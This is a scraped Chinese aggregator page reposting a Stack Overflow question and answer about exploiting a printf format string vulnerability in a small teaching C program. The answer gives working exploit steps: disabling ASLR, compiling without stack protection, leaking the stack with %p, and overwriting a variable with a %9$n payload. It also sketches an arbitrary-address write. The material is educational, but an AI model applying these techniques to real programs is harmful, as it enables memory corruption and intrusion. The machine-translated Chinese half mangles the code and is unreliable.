如何使用格式化字符串攻击 [英] How to use Format String Attack

查看:132
本文介绍了如何使用格式化字符串攻击的处理方法,对大家解决问题具有一定的参考价值,需要的朋友们下面随着小编来一起学习吧!

问题描述

假设我有以下的code:

 的#include<&stdio.h中GT;
#包括LT&;&stdlib.h中GT;
#包括LT&;&fcntl.h GT;INT NUM1 = 0;INT主(INT ARGC,字符** argv的){
    双NUM2;
    为int * PTR =安培; NUM1;
    的printf(的argv [1]);    如果(NUM1 == 2527){
        的printf(干得好);
    }
    如果(NUM2 == 4.56)
        的printf(你是一个格式字符串专家);
    返回0;
}

我想知道如何做是正确的,但我就是无法组织我的心在互联网上提供的指南。

时它想是这样的:

  ./节目%P%P%P%P

然后

  ./Program $(printf的\\ XAA \\ XAA \\ XAA \\ XAA)%.2523d%N

我实在不明白这一点,
请通过帮我一下吧。

这样做的主要点是通过prinft功能利用一个字符串转换为正在运行的程序。我需要得到双方干得好和你是一个格式字符串专家进行打印。
就我而言,通过Linux终端/壳。
由于HuStmpHrrr声明:这的确应该是白色的黑客 - 软件安全性


解决方案

所有我推荐你读的书黑客首先:开发的艺术。这是非常不错的。

现在我试图解释你如何利用你的程序。我假设你知道格式串漏洞的一些基础知识,所以我没有从从头开始。
然而,重要的是要禁用ASLR和编译可执行没有堆栈保护。

 #禁用ASLR
@>呼应0 |须藤发球的/ proc / sys目录/内核/ randomize_va_space
#编译没有堆栈保护
@> GCC -g -fno-堆栈保护-z execstack fmt.c

我修改程序一点点,所以很容易理解如何利用作品:

 的#include<&stdio.h中GT;INT NUM1 = 0xdead;INT主(INT ARGC,字符** argv的){
    INT NUM2 = 0xbeef;
    为int * PTR =安培; NUM1;
    的printf(的argv [1]);    如果(NUM1 == 0xabc){
        的printf(干得好);
    }
    如果(NUM2 == 0xdef)
        的printf(你是一个格式字符串专家);    的printf(\\ n [DEBUG] NUM1:为0x%X [%P] NUM2:0X%×[%P] \\ n,NUM1,&安培; NUM1,NUM2,&安培; NUM2);
    返回0;
}

我使用的是64位Ubunty系统。指针大小为8字节。

的漏洞

变量NUM1

首先,我们试图改变变量 NUM1 NUM1 的地址存储在 PTR PTR 是主要的语言环境变量,因此它被放在栈(类型为int *)。为了检验我们可以使用%P 格式说明堆栈。

  @> ./a.out%第%第%第%第%第%第%第%P%对

输出:

<$p$p><$c$c>0x7fffffffdf78.0x7fffffffdf90.(nil).0x7ffff7dd4e80.0x7ffff7dea560.0x7fffffffdf78.0x200400440.0xbeefffffdf70.0x601040
[DEBUG] NUM1:0xdead [0x601040] NUM2:0xbeef [0x7fffffffde84]

我们可以看到,9号元素的值 0x601040 。这就像在我们的调试信息的价值相同 NUM1:0xdead [0x601040] 。现在我们知道, 0x601040 是指针变量NUM1,它位于堆栈上。要更改值(在内存中写的),我们可以使用%N 与直接参数访问组合格式说明%9 $ N 写入到存储在堆栈中第9位的地址。

要访问的干得好消息,我们只需要编写 0xabc 值到标准输出,并使用%N 来写内存号:

  @&GT; ./a.out`蟒蛇-c打印('A'* 0xabc)`%9 \\ $ N

我使用Python来生成输出。
现在程序打印干得好。

变量NUM2

如果我们来近距离观察我们可以看到第8元素值为牛肉的输出。这是我们的变量 NUM2 。我还是没弄明白,如何利用 NUM2 ,但我试图解释如何做到这一点在理论上。
我们希望把堆栈上的任意内存地址。这个地址应该是指向NUM2地址( 0x7fffffffde84 )。之后,我们可以使用%N 参数写入到该地址。为了把堆栈上的一个地址,我们可以使用格式字符串。

  @&GT; ./a.out`printf的\\ X08 \\ X07 \\ X06 \\ X05 \\ X04 \\ X03 \\ X02 \\ X01`

问题是,我们必须找到在堆栈上这种格式字符串的位置。

  @&GT; ./a.out AAAA`printf\\ X08 \\ X07 \\ X06 \\ X05 \\ X04 \\ X03 \\ X02 \\ X01'BBBB`python -c打印(使用'%p'* 200)`

在'A和'B的只是填充,它也更容易在输出中找到我们的地址。
该漏洞看起来类似于NUM1利用方式:

  @&GT; ./a.out ADDRESS`python -c打印('A'* VAL_TO_WRITE)'PADDING%LOCATION_OF_ADDRESS \\ $ N

问题:在我们的场景的地址 NUM2 0x7fffffffde84 (即 0x00007fffffffde84 )。该地址不能写,因为0×00是C字符​​串的终结者。因此,我们不能把地址在我们的格式字符串。

Assume I have the following code:

#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>

int num1 = 0;

int main(int argc, char **argv){
    double num2;
    int *ptr = &num1;
    printf(argv[1]);

    if (num1== 2527){
        printf("Well done");
    }
    if(num2 == 4.56)
        printf("You are a format string expert");
    return 0;
}

I am trying to understand how to do it right but I just can't organize my mind with the guides on the internet.

Is it suppose to something like:

./Program %p %p %p %p

and then

 ./Program $( printf "\xAA\xAA\xAA\xAA") %.2523d%n

I just can't figure this out, Please help me through with it.

The main point of this is to exploit a string into a running program through the prinft function. I need to get both "Well done" and "You are a format string expert" to be printed. In my case, through Linux terminal/shell. As HuStmpHrrr notice: This is indeed supposed to be White Hacking - Software Security

解决方案

First of all I recommend that you read the book Hacking: The Art of Exploitation. It is very good.

Now I try to explain how you can exploit your program. I assume that you know some basics about Format String Exploits, so I don't have to start from the very beginning. However it is important to disable ASLR and compile the executable without stack protection.

# disable ASLR
@> echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
# compile without stack protection
@> gcc -g -fno-stack-protector -z execstack fmt.c 

I modified your program a little bit, so it is easier to understand how the exploit works:

#include <stdio.h>

int num1 = 0xdead;

int main(int argc, char **argv){
    int num2 = 0xbeef;
    int *ptr = &num1;
    printf(argv[1]);

    if (num1 == 0xabc){
        printf("Well done");
    }
    if(num2 == 0xdef)
        printf("You are a format string expert");

    printf("\n[DEBUG] num1: 0x%x [%p] num2: 0x%x [%p]\n", num1, &num1, num2, &num2);
    return 0;
}

I am using a 64-Bit Ubunty System. The pointer size is 8 bytes.

The Exploit

variable num1

First we try to change the variable num1. The address of num1 is stored in ptr. ptr is a locale variable in main, so it is put on the stack (type int*). To examine the stack we can use the %p format specifier.

@> ./a.out %p.%p.%p.%p.%p.%p.%p.%p.%p

Output:

0x7fffffffdf78.0x7fffffffdf90.(nil).0x7ffff7dd4e80.0x7ffff7dea560.0x7fffffffdf78.0x200400440.0xbeefffffdf70.0x601040
[DEBUG] num1: 0xdead [0x601040] num2: 0xbeef [0x7fffffffde84]

We can see that the 9th element has the value 0x601040. That is the same like the value in our debug message num1: 0xdead [0x601040]. Now we know that 0x601040 is the pointer to the variable num1 and it is located on the stack. To change that value (write in memory) we can use the %n format specifier in combination with the Direct Parameter Access %9$n to write to the address that is stored in the 9th stack position.

To gain access to the Well done message we only need to write 0xabc values to stdout and use %n to write that number in memory:

@> ./a.out `python -c "print('A' * 0xabc)"`%9\$n

I use python to generate that output. Now the program prints "Well done".

variable num2

If we take a close look to the output we see that the 8th element has the value beef. That is our variable num2. I still did not figure out, how to exploit num2 but I try to explain how to do it in theory. We want to put an arbitrary memory address on the stack. This address should be the address that points to num2 (0x7fffffffde84). After that we can use the %n parameter to write to that address. To put an address on the stack we can use the format string.

@> ./a.out `printf "\x08\x07\x06\x05\x04\x03\x02\x01"`

The problem is that we have to find the location of this format string on the stack.

@> ./a.out AAAA`printf "\x08\x07\x06\x05\x04\x03\x02\x01"`BBBB`python -c "print('%p.' * 200)"`

The 'A's and 'B's are just padding and it is also easier to find our address in the output. The exploit looks similar to the num1 exploit way:

@> ./a.out ADDRESS`python -c "print('A' * VAL_TO_WRITE)"`PADDING%LOCATION_OF_ADDRESS\$n

The problem: In our scenario the address of num2 is 0x7fffffffde84 (that is 0x00007fffffffde84). That address can not be written because 0x00 is the C-String Terminator. So we can not put the address in our format string.

这篇关于如何使用格式化字符串攻击的文章就介绍到这了,希望我们推荐的答案对大家有所帮助,也希望大家多多支持IT屋!

查看全文
登录 关闭
扫码关注1秒登录
发送“验证码”获取 | 15天全站免登陆